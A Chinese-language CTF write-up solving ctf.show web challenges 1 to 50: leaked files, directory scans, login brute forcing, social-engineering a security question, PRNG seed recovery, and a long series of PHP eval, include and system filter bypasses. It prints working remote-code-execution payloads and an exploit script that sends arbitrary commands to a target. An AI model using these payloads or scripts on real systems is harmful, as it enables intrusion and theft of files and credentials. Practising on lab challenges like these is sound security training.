Web1 F12 或者查看源码即可
Web2 F12无法查看源代码 这里使用
Web3 抓包重发
Web4 工具 dirsearch
访问/robots.txt后访问/flagishere.txt即可
Web5 index.phps泄露
index.phps
访问自动下载,在记事本中打开得到flag
Web6 扫目录得到www.zip
1 2 3 4 5 6 7 8 9 10 11 12 13 root@aura:~/Tool/dirsearch-master# python3 dirsearch.py -u https://c2bf6e3c-cc17-4b7a-83e0-97e6d12a8acb.challenge.ctf.show/ _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12290 Target: https://c2bf6e3c-cc17-4b7a-83e0-97e6d12a8acb.challenge.ctf.show/ [10:51:52] Scanning: [10:52:15] 200 - 486B - /www.zip Task Completed
访问/fl000g.txt得到flag
Web7 扫目录得到.git
访问得到flag
Web8 扫目录得到.svn
访问得到flag
Web9 扫目录得到/index.php.swp
访问得到flag
Web10 flag在Cookie 得到flag
Web11 DNS解析查询txt
BOCE
flag.ctfshow.com
或者使用工具 nslookup
1 2 3 nslookup -query=any url nslookup -qt=TXT example.com
Web12 存在/admin后台
主页面存在
Help Line Number : 372619038
猜测372619038为管理员密码
账户:admin 密码:372619038登录成功得到flag
Web13 /products.html页面最低端存在document
点击打开进入pdf发现后台地址与默认账号密码
默认后台地址:http://your-domain/system1103/login.php
默认用户名:admin
默认密码:admin1103
登录得到flag
Web14 扫目录发现存在/editor/
点击插入文件发现文件空间可查看部分主机的文件信息
flag在此目录/editor/attached/file/tmp/html/nothinghere/fl000g.txt
访问/nothinghere/fl000g.txt得到flag
Web15 邮箱泄露社工qq号发现一个现居陕西西安的账号
扫目录发现/admin后台
存在密保问题:我的所在地是哪个城市?
输入西安重置密码成功,得到默认密码
登录得到flag
Web16 php探针泄露/tz.php
发现存在phpinfo
flag在Environment中
Web17 /backup.sql泄露
下载打开得到flag
Web18 打开页面为一个小鸟游戏分数到101可获得flag
尝试抓包改分数,数据包没有分数选项
查看js代码
1 2 3 4 5 6 7 if (score>100 ){ var result=window .confirm ("\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b" );} else { var result=window .confirm ("GAMEOVER\n是否从新开始" );
对于score>100时会提示\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b
Unicode解码的:到你赢了,去幺幺零点皮爱吃皮看看
访问/110.php得到flag
Web19 前端泄露账户以及加密密码
1 2 3 4 5 6 7 8 9 10 11 <!-- error_reporting (0 ); $flag="fakeflag" $u = $_POST['username' ]; $p = $_POST['pazzword' ]; if (isset ($u) && isset ($p)){ if ($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04' ){ echo $flag; } } -->
发现AES加密函数
密文为a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04
其中偏移量iv = “ilove36dverymuch”
密钥key= “0000000372619038”
填充模式为Zeros
运算模式为CBC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function checkForm ( ){ var key = "0000000372619038" ; var iv = "ilove36dverymuch" ; var pazzword = $("#pazzword" ).val (); pazzword = encrypt (pazzword,key,iv); $("#pazzword" ).val (pazzword); $("#loginForm" ).submit (); } function encrypt (data,key,iv ) { var key1 = CryptoJS .enc .Latin1 .parse (key); var iv1 = CryptoJS .enc .Latin1 .parse (iv); return CryptoJS .AES .encrypt (data, key1,{ iv : iv1, mode : CryptoJS .mode .CBC , padding : CryptoJS .pad .ZeroPadding }).toString (); }
在线解密 即可得到密码
解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from Crypto.Cipher import AESiv = b"ilove36dverymuch" key = b"0000000372619038" ciphertext = bytes .fromhex("a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04" ) cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = cipher.decrypt(ciphertext) plaintext = plaintext.rstrip(b'\x00' ) print ("解密结果:" , plaintext.decode('utf-8' , errors='ignore' ))
Web20 1 2 3 4 5 6 7 8 9 _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12292 Target: http://6b71cb38-3a3e-4b09-be8c-d4ecd30d1ac7.challenge.ctf.show/ [17:41:07] Scanning: db/ [17:41:19] 200 - 348KB - /db/db.mdb
/db/db.mdb
mdb文件是早期asp+access构架的数据库文件 直接查看url路径添加/db/db.mdb 下载文件通过txt打开或者通过EasyAccess.exe打开搜索flag
Web21 考察burpsuite暴力破解
发现存在将用户名与账户admin:12345进行base64编码
使用custom iterator(自定义迭代器)
以:为分界
前者为admin后面为字典
同时进行base64编码爆破攻击即可
Web22 使用OneForAll 进行ctf.show的子域名爆破
发现flag.ctf.show
访问得到flag
Web23 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );include ('flag.php' );if (isset ($_GET ['token' ])){ $token = md5 ($_GET ['token' ]); if (substr ($token , 1 ,1 )===substr ($token , 14 ,1 ) && substr ($token , 14 ,1 ) ===substr ($token , 17 ,1 )){ if ((intval (substr ($token , 1 ,1 ))+intval (substr ($token , 14 ,1 ))+substr ($token , 17 ,1 ))/substr ($token , 1 ,1 )===intval (substr ($token , 31 ,1 ))){ echo $flag ; } } }else { highlight_file (__FILE__ ); } ?>
需要get传参一个token
,然后对token
进行md5加密
**intval ()**
函数是PHP中用于获取变量的整数值的函数。
**substr()**
函数返回字符串的一部分。
然后进行if判断 需要满足的条件是:
token的MD5哈希后的字符串中,索引1、14、17处的字符相同。
这三个字符相加后除以其中一个字符的值等于索引31处的字符的整数值,即3。
同时,这三个字符的数值相加之和除以其中一个字符等于3,也就是总和是3x,而3x/x=3,所以这个条件成立。所以不管x是什么非零数值,这个等式都成立。但是这里必须这三个字符都是x,且x是数字,否则intval转换可能会有问题。例如,如果这三个字符是字母,那么intval转换会是0,导致总和0+0+0=0,除以0的话会出现错误,但PHP中除以零会返回INF或错误,但可能这里条件不会满足。因此,这三个字符必须是数字,并且它们的值相同,这样总和就是3x,除以x等于3,而索引31处的字符必须是3。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import hashlibdef find_valid_token (): for num in range (1 , 10000000 ): token = str (num) hash_md5 = hashlib.md5(token.encode()).hexdigest() c1 = hash_md5[1 ] c14 = hash_md5[14 ] c17 = hash_md5[17 ] c31 = hash_md5[31 ] if c1 == c14 == c17 and c1.isdigit() and c1 != '0' and c31 == '3' : print (f"Valid token: {token} " ) print (f"MD5 hash: {hash_md5} " ) return token print ("No valid token found." ) return None find_valid_token() import hashlibCHARACTER_SET = '0123456789qazwsxedcrfvtgbyhnujmikolp' for first_char in CHARACTER_SET: for second_char in CHARACTER_SET: token = f"{first_char} {second_char} " md5_hash = hashlib.md5(token.encode()).hexdigest() if not (md5_hash[1 ] == md5_hash[14 ] == md5_hash[17 ]): continue target_char = md5_hash[1 ] if not target_char.isdigit() or target_char == '0' : continue if md5_hash[31 ].isdigit(): sum_value = int (target_char) * 3 divisor = int (target_char) result = sum_value // divisor if result == int (md5_hash[31 ]): print (f"Valid token found: {token} " ) print (f"MD5 Hash: {md5_hash} " )
Web24 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );include ("flag.php" );if (isset ($_GET ['r' ])){ $r = $_GET ['r' ]; mt_srand (372619038 ); if (intval ($r )===intval (mt_rand ())){ echo $flag ; } }else { highlight_file (__FILE__ ); echo system ('cat /proc/version' ); } ?>
get一个r
mt_srand()
函数播种 Mersenne Twister 随机数生成器。
提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数 因此不需要播种,并且如果设置了 seed参数 生成的随机数就是伪随机数,意思就是每次生成的随机数 是一样的
1 2 3 4 5 6 <?php mt_srand (372619038 );echo (mt_rand ());?>
?r=1155388967得到flag
Web25 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting (0 );include ("flag.php" );if (isset ($_GET ['r' ])){ $r = $_GET ['r' ]; mt_srand (hexdec (substr (md5 ($flag ), 0 ,8 ))); $rand = intval ($r )-intval (mt_rand ()); if ((!$rand )){ if ($_COOKIE ['token' ]==(mt_rand ()+mt_rand ())){ echo $flag ; } }else { echo $rand ; } }else { highlight_file (__FILE__ ); echo system ('cat /proc/version' ); }
参数检查 :
1 2 if (isset ($_GET ['r' ])){ $r = $_GET ['r' ];
检查是否存在 r
参数,若存在则继续执行。
种子初始化 :
1 mt_srand (hexdec (substr (md5 ($flag ), 0 ,8 )));
使用 flag
的 MD5 哈希值前 8 个字符转换为十进制数作为随机数种子。
随机数差计算 :
1 $rand = intval ($r ) - intval (mt_rand ());
计算传入的 r
与生成的第一个随机数的差值。
条件分支 :
差值非零 :直接返回差值 echo $rand
。
差值为零 :检查 Cookie 中的 token
是否等于后续两个随机数的和,若匹配则输出 flag
。
根据题目开始输入r=0,可以得到第一次伪随机数的相反数。也即可以得到第一次伪随机数。 之后使用php mt seed得到伪随机数的种子。 继续代码审计,得到cookie必须设置token为第2和第3次伪随机数的和。注意需要采用php mt seed算出的php7对应的伪随机数种子,如果一个不对,就再换一个。
Web26 一个cms系统
点击确认无误,开始安装 页面提示数据库连接成功 却进一步信息显示
进行抓包查看以为需要爆破密码 结果发现思路错误
只需要正常抓包发包查看回显即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /checkdb.php HTTP/1.1 Host: aa109754-6aa7-4bce-ac20-cbd2c3337f16.challenge.ctf.show Content-Length: 17 Sec-Ch-Ua-Platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Sec-Ch-Ua-Mobile: ?0 Origin: https://aa109754-6aa7-4bce-ac20-cbd2c3337f16.challenge.ctf.show Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://aa109754-6aa7-4bce-ac20-cbd2c3337f16.challenge.ctf.show/install.php? Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Priority: u=1, i Connection: keep-alive a=& p=& d=& u=& pass=
1 2 3 4 5 6 7 8 9 10 11 12 13 14 HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 21 Mar 2025 14:46:30 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/7.3.11 Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection Access-Control-Max-Age: 1728000 Content-Length: 122 {"success":true,"msg":"\u 6570\u 636e\u 5e93\u 8fde\u 63a5\u 6210\u 529f","flag":"ctfshow{113db6bb-6cef-4f0c-8757-aa371c264282}"}
得到flag
Web27 一个正方的教务管理系统
点击录取名单,可以下载一个xml文件,里面包含部分脱敏的学生信息。
序号
姓名
专业
身份证号码
备注
1
高先伊
WEB
621022********5237
2
嵇开梦
MISC
360730********7653
党员
3
郎康焕
RE
522601********8092
4
元羿谆
PWN
451023********3419
生源地贷款
5
祁落兴
CRYPTO
410927********5570
可以在学生学籍信息查询系统进行爆破
恭喜您,您已被我校录取,你的学号为02015237 初始密码为身份证号码
登录获得flag
Web28 url/0/1/2.txt
猜测存在遍历url/100/100/100.txt 但是攻击数量过于庞大
便利url/100/100/即可
得到flag
Web29 1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
1 if(!preg_match("/flag/i", $c)){
使用 preg_match() 函数对 $c 变量进行正则匹配。这个正则表达式检查 $c 中是否包含不区分大小写的字符串 “flag”。如果 $c 中不包含 “flag”,则继续执行后续代码。
eval($c); 使用 eval() 函数执行 $c 变量中的代码。eval() 会将 $c 中的字符串作为 PHP 代码执行,这可能导致执行任意 PHP 代码,从而形成安全漏洞。
1 2 /?c=system("ls"); #查看文件 /?c=system("cat f*"");
Web30 1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
1 2 3 if(!preg_match("/flag|system|php/i", $c)){ eval($c); }
对flag system php进行正则匹配
对于system可以使用passthru
1 2 3 4 5 6 ?c=passthru("tac%20fla*"); ?c=passthru("tac%20fla?????"); ?c=echo(`ls`); ?c=echo(`tac%20f*`); ?c=eval($_GET[1]);&1=phpinfo(); ?c=eval($_GET[1]);&1=system("tac%20flag.php");
Web31 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
1 ?c=eval($_GET[1]);&1=system('tac flag.php'); #参数逃逸
Web32 1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
括号、分号;
和反引号`都过滤了
使用文件包含+参数逃逸+伪协议
1 2 3 ?c=include$_GET[b]?>&b=data://text/plain,<?=system('tac fla*.ph*');?> c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
Web33 1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
较上一关卡增加过滤"
类似web32使用文件包含+参数逃逸+伪协议
1 2 3 /?c=include$_GET[b]?>&b=data://text/plain,<?=system('tac fla*.ph*');?> c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
Web34 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
增加过滤冒号:
payload和前两关相同
1 2 3 /?c=include$_GET[b]?>&b=data://text/plain,<?=system('tac fla*.ph*');?> c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
Web35 1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
过滤增加<
和=
1 2 /?c=include$_GET[b]?>&b=data://text/plain,<?=system('tac fla*.ph*');?> /?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
Web36 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
过滤增加/
以及[0-9]
1 2 /?c=include$_GET[b]?>&b=data://text/plain,<?=system('tac fla*.ph*');?> /?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
Web37 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ include ($c ); echo $flag ; } }else { highlight_file (__FILE__ ); }
存在include使用php反协议,通配符绕过
1 2 ?c=data://text/plain,<?php system('tac fla*');?> ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
Web38 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|php|file/i" , $c )){ include ($c ); echo $flag ; } }else { highlight_file (__FILE__ ); }
过滤了php,使用短标签
1 2 /?c=data://text/plain,<?=system('tac fla*');?> /?c=data://text/plain;base64,PD89IHN5c3RlbSgndGFjIGZsYSonKTs/Pg==
Web39 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ include ($c .".php" ); } }else { highlight_file (__FILE__ ); }
include($c.”.php”);这里进行c变量与.php进行拼接
并不影响
1 2 ?c=data://text/plain,<?php system('tac fla*');?> ?c=data://text/plain,<?=system('tac fla*');?>
Web40 1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
过滤[0-9]
法一
1 c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。
next()将内部指针指向数组中的下一个元素,并输出。
array_pop() 函数删除数组中的最后一个元素并返回其值。
法二d
1 c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));
getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为”.”
pos():输出数组第一个元素,不改变指针;
current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为”.”所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。
每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。
提示:该函数不会移动数组内部指针。
相关的方法:
current()返回数组中的当前元素的值。
end()将内部指针指向数组中的最后一个元素,并输出。
next()将内部指针指向数组中的下一个元素,并输出。
prev()将内部指针指向数组中的上一个元素,并输出。
reset()将内部指针指向数组中的第一个元素,并输出。
each()返回当前元素的键名和键值,并将内部指针向前移动。
Web41 1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; if (!preg_match ('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' , $c )){ eval ("echo($c );" ); } }else { highlight_file (__FILE__ ); } ?>
[0-9]|[a-z]过滤了数字以及字母a-z
过滤$、+、-、^、~
使得异或自增和取反 构造字符都无法使用
但是特意留了个或运算符|
。
可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
生成可用字符的集合:
(从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php $myfile = fopen ("rce_or.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex ($i ); } else { $hex_i =dechex ($i ); } if ($j <16 ){ $hex_j ='0' .dechex ($j ); } else { $hex_j =dechex ($j ); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' ; if (preg_match ($preg , hex2bin ($hex_i ))||preg_match ($preg , hex2bin ($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode ($a )|urldecode ($b )); if (ord ($c )>=32 &ord ($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } } fwrite ($myfile ,$contents );fclose ($myfile );
传递参数getflag 用法 python exp.py <url>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requestsimport urllibfrom sys import *import osos.system("php rce_or.php" ) if (len (argv)!=2 ): print ("=" *50 ) print ('USER:python exp.py <url>' ) print ("eg: python exp.py http://ctf.show/" ) print ("=" *50 ) exit(0 ) url=argv[1 ] def action (arg ): s1="" s2="" for i in arg: f=open ("rce_or.txt" ,"r" ) while True : t=f.readline() if t=="" : break if t[0 ]==i: s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close() output="(\"" +s1+"\"|\"" +s2+"\")" return (output) while True : param=action(input ("\n[+] your function:" ) )+action(input ("[+] your command:" )) data={ 'c' :urllib.parse.unquote(param) } r=requests.post(url,data=data) print ("\n[*] result:\n" +r.text)
参考链接
https://blog.csdn.net/miuzzx/article/details/108569080
Web42 1 2 3 4 5 6 7 8 9 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; system ($c ." >/dev/null 2>&1" ); }else { highlight_file (__FILE__ ); }
system($c." >/dev/null 2>&1");
c与>/dev/null 2>&1拼接
/dev/null 2>&1是不进行回显,所以采用命令把flag打印出来,利用
Web43 1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
增加过滤;
和cat
使用||
分割
Web44 1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/;|cat|flag/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
增加过滤flag
Web45 1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| /i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
过滤空格
1 2 3 4 5 ?c=tac${IFS}f*|| ?c=tac$IFS$9f*|| ?c=tac%09f*|| ?c=tac%09f*|| ?c=echo$IFS`tac$IFS*`%0A
Web46 1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
过滤增加[0-9]
,$
,*
1 2 3 4 5 6 ?c=tail%09fl''ag.php|| ?c=tail%09fla?.php|| ?c=tac%09fla?.php|| ?c=tac<fla''g.php|| ?c=nl<fla''g.php|| ?c=tac<fla\g.php||
Web47 1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
增加过滤more
|less
|head
|sort
|tail
1 2 3 4 ?c=nl<fla''g.php|| ?c=tac<fla''g.php|| ?c=tac%09fl''ag.php|| ?c=tac<fla\g.php||
Web48 1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
增加过滤sed
|cut
|awk
|strings
|od
|curl
|'
1 2 3 ?c=tac%09fl''ag.php|| ?c=nl%09fl''ag.php|| ?c=tac<fla\g.php||
Web49 1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
增加过滤%
1 2 3 ?c=tac%09fl''ag.php|| ?c=nl%09fl''ag.php|| ?c=tac<fla\g.php||
Web50 1 2 3 4 5 6 7 8 9 10 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
过滤增加x09
和x26
1 2 ?c=tac<fla\g.php|| ?c=nl<fl''ag.php||